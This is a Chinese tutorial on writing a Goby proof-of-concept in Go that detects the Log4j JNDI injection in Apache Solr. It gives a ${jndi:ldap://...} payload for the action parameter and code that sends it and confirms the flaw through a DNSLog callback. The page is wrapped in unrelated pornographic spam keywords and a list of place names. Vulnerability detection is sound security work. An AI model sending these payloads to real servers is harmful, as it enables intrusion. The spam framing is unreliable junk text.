最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

網(wǎng)絡安全滲透測試使用goby檢測log4j漏洞

 更新時間:2022年02月19日 09:13:41   作者:kali_Ma  
這篇文章主要為大家介紹了網(wǎng)絡安全滲透測試使用goby檢測log4j漏洞的過程方法示例有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步

一、前言

前段時間的Log4j漏洞影響很廣泛,網(wǎng)上已經(jīng)公開了很多地方的利用方式,而平時用goby較多,就想利用goby的指紋識別對目標定向檢測。這篇文章就從Apache Solr Log4j漏洞為例,教大家如何寫goby poc,文章中有錯誤還請及時指正。

Goby可以通過編寫go文件,來實現(xiàn)一些高級的漏洞檢測或利用,例如dnslog檢測漏洞

詳情可查閱goby官方文檔:https://cn.gobies.org/docs/exp/index.html

二、漏洞復現(xiàn)

首先了解到漏洞觸發(fā)點是action參數(shù),

/solr/admin/collections?action=

通過dnslog驗證到靶機是存在漏洞。

payload:${jndi:ldap://24x44x.dnslog.cn/a}

image.png

圖一:發(fā)送payload

image.png

圖二:dnslog有回顯

三、goby poc編寫

Goby是通過golang編寫的,而一些漏洞檢測場景(比如dnslog驗證),goby自身的JSON 格式無法滿足這一需求,需采用 Golang 編寫漏洞代碼。

expJson部分

1、首先通過goby poc管理,添加poc,按照goby官方漏洞描述模版說明填寫并保存。

image.png

圖三:自定義poc

2、在goby安裝目錄的\golib\exploits\user文件夾打開生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp則需把HasExp字段的true改為false。

image.png

圖四:生成的json文件

3、將生成的json代碼(去掉外圍大括號)復制到goby漏洞檢測golang模板的expJson := {xxx}中。

package exploits

import (
//根據(jù)需求導入相應的包
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/godclient"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"strings"
"time"
)
func init() {
expJson := `{
expJson部分
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil, //自定義POC函數(shù)部分。
nil, //自定義EXP函數(shù), 沒有EXP,就寫nil,
))
}

goby漏洞檢測golang模板

自定義POC函數(shù)部分

1、根據(jù)官方文檔說明

自定義 POC 由一個函數(shù)構(gòu)成,該函數(shù)參數(shù)分為

jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 結(jié)構(gòu)體組成,通過響應 bool 來確認漏洞是否存在。函數(shù)模版如下:

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
return false
}

需要通過編寫檢測漏洞是否存在的golang代碼,檢測到漏洞存在則返回true,不存在返回false。

image.png

圖五:自定義 POC函數(shù)部分

checkStr := goutils.RandomHexString(4)

RandomHexString函數(shù):隨機生成指定長度的字符串

checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函數(shù):生成DNSLog地址

uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞觸發(fā)點拼接payload

cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:構(gòu)建GET請求自定義配置,返回RequestConfig
cfg.VerifyTls = false //忽略ssl驗證
cfg.FollowRedirect = false //不跟隨跳轉(zhuǎn)
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定義請求頭
httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:構(gòu)建自定義請求配置,發(fā)送請求,返回請求結(jié)果HttpResponse

構(gòu)建并發(fā)送自定義配置的GET請求,返回請求結(jié)果HttpResponse

image.png

圖六:通過代理抓取到goby發(fā)送payload的get請求

return godclient.PullExists(checkStr, time.Second*15)

在一段時間內(nèi)檢測dnslog是否有HTTP請求成功,如果成功返回true,否則返回false。

image.png

圖七:通過代理抓取到goby檢測dnslog是否有HTTP請求成功

image.png

圖八:漏洞檢測成功

注意點:

  • 1、expJson部分GobyQuery查詢規(guī)則,要保證能匹配到對應目錄資產(chǎn)
  • 2、導入goby,發(fā)現(xiàn)加載不出poc,需要去檢查代碼的問題
  • 3、使用goby官方的函數(shù)需通過import導入對應的包

當然除了solr還有很多框架,希望大家能從文章中學到一點知識,打磨自己的武器。

以上就是網(wǎng)絡安全滲透測試使用goby檢測log4j漏洞的詳細內(nèi)容,更多關(guān)于使用goby檢測log4j漏洞的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評論

镇平县| 澳门| 佛冈县| 新宾| 姚安县| 扎鲁特旗| 彭州市| 凤山县| 南宁市| 息烽县| 浮山县| 玉溪市| 江阴市| 定襄县| 弥渡县| 肥城市| 吕梁市| 衡南县| 长乐市| 静乐县| 泌阳县| 南昌市| 南溪县| 新建县| 西盟| 那坡县| 廊坊市| 郑州市| 绍兴县| 泌阳县| 武鸣县| 德阳市| 西乡县| 牡丹江市| 湘乡市| 确山县| 乐清市| 东明县| 进贤县| 依安县| 厦门市|